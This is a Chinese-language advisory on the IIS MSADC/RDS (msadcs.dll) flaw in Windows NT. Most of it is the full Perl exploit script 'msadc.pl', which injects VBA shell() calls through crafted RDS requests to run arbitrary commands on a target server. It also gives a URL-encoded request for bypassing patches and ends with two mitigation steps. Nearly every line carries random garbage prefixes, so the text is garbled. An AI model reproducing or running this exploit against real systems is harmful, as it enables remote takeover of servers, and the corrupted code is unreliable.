IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
`43E-'g z${DW@o3 涉及程序:
j].XVn, Microsoft NT server
J4=~.&6 %~G)xK?W* 描述:
@7.Ews5Mke 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
y1@{(CDp" I+ydVj(Op 详细:
W!htCwnkF 如果你没有时间读详细内容的话,就删除:
.y|* c:\Program Files\Common Files\System\Msadc\msadcs.dll
>~2oQ[n 有关的安全问题就没有了。
9Yd<_B# Ptn0;GC 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
U%m,:b6V _@SC R% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
iCa#OQ 关于利用ODBC远程漏洞的描述,请参看:
jIg]?4bW[ P;][i| x http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm T[q2quXgk
qN[U|3k 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
`BF +)fs http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~xkcQ{ wNq#vn 这里不再论述。
g2BE-0, R RQ!kVM@ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
9K~X}]u PA&Ev0`+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
1H{JT
op 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Jf9a<[CcV ={B%qq 9J$N5 #将下面这段保存为txt文件,然后: "perl -x 文件名"
lE'2\kxI? Wv8?G~> #!perl
KZ>cfv-&a #
k`_sKr]9 # MSADC/RDS 'usage' (aka exploit) script
J<yt/V] #
o7;lR? # by rain.forest.puppy
lvY[E9I0 #
Uyj6Ij_Pj) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Xq@Bzya # beta test and find errors!
n#|ljC Nu/wjx$b use Socket; use Getopt::Std;
B/0Xqyu getopts("e:vd:h:XR", \%args);
=+DfIO f; w\k7 # print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+DU^"q= =;ClOy9 if (!defined $args{h} && !defined $args{R}) {
i}[cq_wJ print qq~
)[+82~F Usage: msadc.pl -h <host> { -d <delay> -X -v }
gF#HNv -h <host> = host you want to scan (ip or domain)
Py y!B -d <seconds> = delay between calls, default 1 second
3K!(/,` -X = dump Index Server path table, if available
S6Y2(qdP -v = verbose
T\?$7$/V -e = external dictionary file for step 5
[;t-XC?[nk J2adG+= Or a -R will resume a command session
3:C)1q g[';1}/B4 ~; exit;}
%<8`(Uu5 SMoJKr(:w# $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
'
Dcj\=8 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#9zpJ\E if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
y)vK=," if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Ql"kJ_F!br $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
)0+6^[Tqq if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0Q?)?8_ `%; Hj _X} if (!defined $args{R}){ $ret = &has_msadc;
KW-GVe%8f die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/oOZ>B%1s M#nlKj< print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/s*.:cdH . "cmd /c ";
J/LsL
k $in=<STDIN>; chomp $in;
R!f<6l8#W $command="cmd /c " . $in ;
txE=AOY5 t.y-b`v if (defined $args{R}) {&load; exit;}
<yl%q*gls ,2YZB*6h{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~=va<%{
U &try_btcustmr;
;NU-\<Q{ `6$|d,m5 print "\nStep 2: Trying to make our own DSN...";
o1`\*]A7J &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
I+=+ ,iXhB p<1y$=zS print "\nStep 3: Trying known DSNs...";
`+z^#3l &known_dsn;
3P@D!lV&K 5skxixG print "\nStep 4: Trying known .mdbs...";
3ew4QPT' &known_mdb;
wU6sU]P m<H{@ZgN( if (defined $args{e}){
zD)/Q FILy print "\nStep 5: Trying dictionary of DSN names...";
Hvb8+"?~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
KpA1Ac)T n{u\t+f print "Sorry Charley...maybe next time?\n";
&AN1xcx\ exit;
B (Ps/ H2H`7 +I, ##############################################################################
*Nm$b+ ,qx^D sub sendraw { # ripped and modded from whisker
I4W@t4bZ sleep($delay); # it's a DoS on the server! At least on mine...
m9vX8;. my ($pstr)=@_;
KL9k9|!p socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
fIl;qGz85 die("Socket problems\n");
? D
_kQl if(connect(S,pack "SnA4x8",2,80,$target)){
wA\5-C7j select(S); $|=1;
z/u^ print $pstr; my @in=<S>;
{`QA.he. select(STDOUT); close(S);
6<EGH*GQ$ return @in;
h2 KI } else { die("Can't connect...\n"); }}
Y{D%v =:aJZ[UU<2 ##############################################################################
@/F61Ut K>dB{w#gS sub make_header { # make the HTTP request
om`T/@_, my $msadc=<<EOT
N0H=;CIQ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
V"m S$MN User-Agent: ACTIVEDATA
#l ZK_N|1x Host: $ip
y{S8?$dU$: Content-Length: $clen
y(o)}m*0 Connection: Keep-Alive
p}^5ru -QroT`gy ADCClientVersion:01.06
3V<@Vkf5 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
I]^>>>p$ ; h\T7pwwb --!ADM!ROX!YOUR!WORLD!
;xZjt4M1 Content-Type: application/x-varg
,Klv[_x7 Content-Length: $reqlen
=}vT>b _]-4d_&3( EOT
C,An\lsT ; $msadc=~s/\n/\r\n/g;
W7^[W. return $msadc;}
Xx"<^FS[zC G@.MP|
2 ##############################################################################
$#q`Y+;L2 #L~i|(=U5 sub make_req { # make the RDS request
1h&`mqY)L. my ($switch, $p1, $p2)=@_;
IdQ./@? my $req=""; my $t1, $t2, $query, $dsn;
%WgN+A0 b~J)LXj]w if ($switch==1){ # this is the btcustmr.mdb query
1~*1W4};F8 $query="Select * from Customers where City=" . make_shell();
51SmoFbMz $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
X*QS/\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
P(hGkY=( J#zr50@@ elsif ($switch==2){ # this is general make table query
xSm;~')g $query="create table AZZ (B int, C varchar(10))";
]1|P|Jp $dsn="$p1";}
h q)1YO 'v"= elsif ($switch==3){ # this is general exploit table query
D7;9D*o\ $query="select * from AZZ where C=" . make_shell();
$@D a|d4 $dsn="$p1";}
g1s%x=7/ 8NWo)y49H elsif ($switch==4){ # attempt to hork file info from index server
pFv u,Q" $query="select path from scope()";
aYWWln $dsn="Provider=MSIDXS;";}
$VuXr=f} ){*+s RBW elsif ($switch==5){ # bad query
"j@\a)a $query="select";
5&ku]l+ $dsn="$p1";}
)h8}{* bC/":+s& p $t1= make_unicode($query);
!cwZ*eM $t2= make_unicode($dsn);
qI+2,6
sGI $req = "\x02\x00\x03\x00";
Upe}9xf $req.= "\x08\x00" . pack ("S1", length($t1));
]mTBD<3\ $req.= "\x00\x00" . $t1 ;
0f^{Rp6 $req.= "\x08\x00" . pack ("S1", length($t2));
;V
xRaj? $req.= "\x00\x00" . $t2 ;
BmG(+;;& $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
QO2cTk
m return $req;}
y0%1YY /ad9Q~nJ ##############################################################################
rO'DT{Yt 5~L]zE sub make_shell { # this makes the shell() statement
cCe~OlXQ return "'|shell(\"$command\")|'";}
{KG 6#/%;
<kak9
6A ##############################################################################
5E&#Kh(I Z0F~? sub make_unicode { # quick little function to convert to unicode
,#K/+T my ($in)=@_; my $out;
F$C6( C? for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
23s;O)) return $out;}
EY,jy]|# qqrjI. ##############################################################################
V'Gal` 'X^auyL sub rdo_success { # checks for RDO return success (this is kludge)
Y`;}w}EcgR my (@in) = @_; my $base=content_start(@in);
e-nA>v if($in[$base]=~/multipart\/mixed/){
@^P^-B return 1 if( $in[$base+10]=~/^\x09\x00/ );}
CKYg!\g(: return 0;}
CM;b_E)9)f =p+y$ ##############################################################################
!%iHJwS#
=<HDek sub make_dsn { # this makes a DSN for us
Ld4U my @drives=("c","d","e","f");
UB/> Ro print "\nMaking DSN: ";
M+)a6g e foreach $drive (@drives) {
1(
pHC print "$drive: ";
WYw#mSp my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
lW+mH= "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
tt"<1
z@ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
NRi5 Vp2= $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
c-a,__c?hx return 0 if $2 eq "404"; # not found/doesn't exist
CXa[%{[n if($2 eq "200") {
eb62(:=N6 foreach $line (@results) {
?=VvFfv% return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
IH]9%d) } return 0;}
YX\vk/[| 3k Ci5C ##############################################################################
(l{vlFWd w;z7vN~/O sub verify_exists {
|#oS7oV( my ($page)=@_;
/*K2i5&X my @results=sendraw("GET $page HTTP/1.0\n\n");
!+l'<*8V return $results[0];}
=Zd(<&B K
is'V%q ##############################################################################
_BczR:D* al2t\Iq90 sub try_btcustmr {
Lc3&\q
e my @drives=("c","d","e","f");
8-q^.<9 my @dirs=("winnt","winnt35","winnt351","win","windows");
Harg<l d#k(>+%=Q foreach $dir (@dirs) {
t]/eCsR print "$dir -> "; # fun status so you can see progress
l/eF
P foreach $drive (@drives) {
@~3-- print "$drive: "; # ditto
O$Rz/& $reqlen=length( make_req(1,$drive,$dir) ) - 28;
p"g|]@m $reqlenlen=length( "$reqlen" );
,eXtY}E $clen= 206 + $reqlenlen + $reqlen;
h>N}M}8 7=!9kk 0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
wPA^nZ^}9c if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
__=H"UhWv else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
64s;EC AK:cDKBO ##############################################################################
$[gN#QW% Y'v[2s sub odbc_error {
]lB zp D my (@in)=@_; my $base;
/:{%X(8 my $base = content_start(@in);
Cf{F"o if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
i+_LKHQN $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
SQKhht`M $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dmFn0J-\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
]%Q!%uTh return $in[$base+4].$in[$base+5].$in[$base+6];}
k6G
_c;V print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
T]#V print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
?#xl3Z ;I $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
sX>u. odRiCiMH ##############################################################################
$|K
d<wv Knq9"k sub verbose {
K1&
QAXyP my ($in)=@_;
1!#85SMx return if !$verbose;
%y1!'R:ZW print STDOUT "\n$in\n";}
55[ 4)* t@q'm.:uw< ##############################################################################
dG\wW@}J YeH!v, > sub save {
7_0p& 3
my ($p1, $p2, $p3, $p4)=@_;
y<)TYr open(OUT, ">rds.save") || print "Problem saving parameters...\n";
vOQ%f?%G\ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
@Nu2
:~JO close OUT;}
Z;BS@e |P|B"I<? ##############################################################################
;b~ S/ PwY/VGT sub load {
tFN >]`Z my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
dzVi ~wt_& open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@MW@mP)# @p=<IN>; close(IN);
+-9vrEB $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
g=*jKSZ $target= inet_aton($ip) || die("inet_aton problems");
P 7x;G5'. print "Resuming to $ip ...";
3h:j.8Z $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
=ily=j"hK if($p[1]==1) {
.3!Wr*o $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
IqOg{#sm $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
.sMs_ 5D my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
u9lZHh#V- if (rdo_success(@results)){print "Success!\n";}
Fq9YhR else { print "failed\n"; verbose(odbc_error(@results));}}
8@3K, [Mo elsif ($p[1]==3){
sI ,!+ if(run_query("$p[3]")){
iD^,O)b print "Success!\n";} else { print "failed\n"; }}
Jt~Ivn, elsif ($p[1]==4){
rK3kg2H if(run_query($drvst . "$p[3]")){
3jmo[<p*x print "Success!\n"; } else { print "failed\n"; }}
.@1+}0 exit;}
q=1 NRG uuzV,q ##############################################################################
N& _~y| Z6!Up1 sub create_table {
Epzg|L1) my ($in)=@_;
f?3-C8hU $reqlen=length( make_req(2,$in,"") ) - 28;
N Ob`)qb $reqlenlen=length( "$reqlen" );
N&9o 1_} $clen= 206 + $reqlenlen + $reqlen;
T j$'B[cv my @results=sendraw(make_header() . make_req(2,$in,""));
eUPa5{P return 1 if rdo_success(@results);
9&mSF0q my $temp= odbc_error(@results); verbose($temp);
bO~y=Pa\ return 1 if $temp=~/Table 'AZZ' already exists/;
1? >P3C return 0;}
?h<4trYcv 4kOO3[r ##############################################################################
BK$y>=
` 'Zx5+rM${} sub known_dsn {
V<ESjK8 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
XLh)$rZ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
b)wcGBS "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2u{~35 "banner", "banners", "ads", "ADCDemo", "ADCTest");
c*USA
eP n<?U6~F&~ foreach $dSn (@dsns) {
qxL\G &~ print ".";
Qg> NJ\*Q next if (!is_access("DSN=$dSn"));
rd <m:r if(create_table("DSN=$dSn")){
w5FIHYl6B print "$dSn successful\n";
I-#H+\S if(run_query("DSN=$dSn")){
%?~'A59 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
&@=Jm
/5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
}=R]<`Sj.j QM$UxWo- ##############################################################################
ZOK!SBn^? 5_yQI D%Sq sub is_access {
6[bopin my ($in)=@_;
D9rQ%|}S $reqlen=length( make_req(5,$in,"") ) - 28;
6BE,L $reqlenlen=length( "$reqlen" );
.i0K-B $clen= 206 + $reqlenlen + $reqlen;
kpOdyn( my @results=sendraw(make_header() . make_req(5,$in,""));
hpdI5 my $temp= odbc_error(@results);
K_Y-N!h verbose($temp); return 1 if ($temp=~/Microsoft Access/);
01kRe return 0;}
(;NJ<x ''17(% ##############################################################################
woI5a ee| Ee>VA_ss sub run_query {
dQ:,pe7A my ($in)=@_;
z]7 WC $reqlen=length( make_req(3,$in,"") ) - 28;
A(Ct^/x- $reqlenlen=length( "$reqlen" );
b?wrOS $clen= 206 + $reqlenlen + $reqlen;
Dy08.Sss my @results=sendraw(make_header() . make_req(3,$in,""));
ULx:2jz return 1 if rdo_success(@results);
1{uxpYAP=
my $temp= odbc_error(@results); verbose($temp);
Ple.fKu return 0;}
n ]%2Kx !$I~3_c ##############################################################################
5epI'D kc'$4 J4Tw sub known_mdb {
%VHy?!/ my @drives=("c","d","e","f","g");
DP_b9o
\5 my @dirs=("winnt","winnt35","winnt351","win","windows");
Iix,}kzss my $dir, $drive, $mdb;
vHaM yA- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Bfb~<rs[ ct+F\:e # this is sparse, because I don't know of many
{i;,Io7W my @sysmdbs=( "\\catroot\\icatalog.mdb",
bpu`'Vx "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
q<RjAi "\\system32\\certmdb.mdb",
)\wkVAm "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
PgtLyzc {X,%GI my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
sG g458 "\\cfusion\\cfapps\\forums\\forums_.mdb",
Bwg(f_[1 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
uHbg&eW "\\cfusion\\cfapps\\security\\realm_.mdb",
7H
H "\\cfusion\\cfapps\\security\\data\\realm.mdb",
~E}kwF "\\cfusion\\database\\cfexamples.mdb",
%0\@\fC41 "\\cfusion\\database\\cfsnippets.mdb",
Sv =YI "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
6@]o,O "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
$q!A1Fgk0 "\\cfusion\\brighttiger\\database\\cleam.mdb",
(Tx_`rO4VY "\\cfusion\\database\\smpolicy.mdb",
?<Qbp;WBo "\\cfusion\\database\cypress.mdb",
q ` S
~w "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Y:*% [\R "\\website\\cgi-win\\dbsample.mdb",
~ !uX"F8Xl "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
`$a!CJu, "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
rzY)vC+ZT ); #these are just
aIgexi, foreach $drive (@drives) {
KpN]9d foreach $dir (@dirs){
XG#?fr}L foreach $mdb (@sysmdbs) {
&YFe"C print ".";
>N&{DJmD if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
#.8v[TkKq print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
lKbWQ> if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
fECV\Z print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
j26i+Z } else { print "Something's borked. Use verbose next time\n"; }}}}}
+!).' \((MoQ9Qk foreach $drive (@drives) {
=By@%ioIGG foreach $mdb (@mdbs) {
n"iS[uj, print ".";
<Bo\a3Z if(create_table($drv . $drive . $dir . $mdb)){
b'4a;k!rS print "\n" . $drive . $dir . $mdb . " successful\n";
E}wT5t;u if(run_query($drv . $drive . $dir . $mdb)){
C-pR$WM:HN print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Y S3~sA } else { print "Something's borked. Use verbose next time\n"; }}}}
@@R Mm$ }
}L0
[Jo: s|IBX0^@ ##############################################################################
OvH:3"Sdy EBh dP sub hork_idx {
# epP~J_f print "\nAttempting to dump Index Server tables...\n";
wv~:^v' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
l|q-kRRjn $reqlen=length( make_req(4,"","") ) - 28;
9nY`rF8@ $reqlenlen=length( "$reqlen" );
\?
/' $clen= 206 + $reqlenlen + $reqlen;
Whd > my @results=sendraw2(make_header() . make_req(4,"",""));
X5owAc6 if (rdo_success(@results)){
$Sc _E:`] my $max=@results; my $c; my %d;
j"Jf|Hq $ for($c=19; $c<$max; $c++){
|E~c#lV $results[$c]=~s/\x00//g;
mG)5xD $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
t?hfP2&6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
wx-\@{E $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
k26C=tlkv" $d{"$1$2"}="";}
0 u*a=f= foreach $c (keys %d){ print "$c\n"; }
08\w!!a: } else {print "Index server doesn't seem to be installed.\n"; }}
cb-IRGF !mv5i%3 ##############################################################################
QN*|_H@h '2X$.
^aW sub dsn_dict {
fz=8"cDR open(IN, "<$args{e}") || die("Can't open external dictionary\n");
)at:Xm<s while(<IN>){
R*GBxJaw $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
H*]Vs=1 next if (!is_access("DSN=$dSn"));
5V 2ZAYV if(create_table("DSN=$dSn")){
T]wC?gQG print "$dSn successful\n";
-!!]1\S*Y if(run_query("DSN=$dSn")){
_l{~O
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RUY7Y? print "Something's borked. Use verbose next time\n";}}}
R;HE{q[ f print "\n"; close(IN);}
,h=a+ja8 )\yK61aX ##############################################################################
:2lpl%/ <M9NyD` sub sendraw2 { # ripped and modded from whisker
?22U0UF sleep($delay); # it's a DoS on the server! At least on mine...
s AFn.W my ($pstr)=@_;
:uo)-9_ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=`x }9|[ die("Socket problems\n");
/mwUDf 6x if(connect(S,pack "SnA4x8",2,80,$target)){
J4+WF#xI2 print "Connected. Getting data";
;_\yg)X, open(OUT,">raw.out"); my @in;
JuZkE9C,${ select(S); $|=1; print $pstr;
Mbc&))A while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
qu^g~"s close(OUT); select(STDOUT); close(S); return @in;
@QTw9,pS } else { die("Can't connect...\n"); }}
1 G]D:9-? l%}q&_ ##############################################################################
bci]"uzB
I^EZ s6~ sub content_start { # this will take in the server headers
=r+K2]z,L my (@in)=@_; my $c;
x8aOXN#w} for ($c=1;$c<500;$c++) {
LZ wCe$1 if($in[$c] =~/^\x0d\x0a/){
yF\yxdUX# if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
wa<k%_# M else { return $c+1; }}}
3qTr|8`s return -1;} # it should never get here actually
t
U}6^yc )W= O~g ##############################################################################
_-BP?'lN NsI. mTc2 sub funky {
D\M"bf>q1 my (@in)=@_; my $error=odbc_error(@in);
NzAh3k if($error=~/ADO could not find the specified provider/){
$'KQP8M+ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
c:7V.. exit;}
e6MBy\*n if($error=~/A Handler is required/){
=?$~=1SL+ print "\nServer has custom handler filters (they most likely are patched)\n";
(Y'cxwj% exit;}
IP/%=m)\% if($error=~/specified Handler has denied Access/){
]I)ofXu] print "\nServer has custom handler filters (they most likely are patched)\n";
L\UPM+tE exit;}}
X<5fn+{]S: oeg
Bk ##############################################################################
dnomnY(*< *%/O (ohs@ sub has_msadc {
Xfg3q.q my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
t Cb34Wpf my $base=content_start(@results);
n
UmyPQ~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
c5%}*
"z return 0;}
Gtaa^mnxD =/K)hI!u ########################
,KJHY m=Q TC-Vzk G| EMP|I^ 解决方案:
g*a+$' 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
N& 2、移除web 目录: /msadc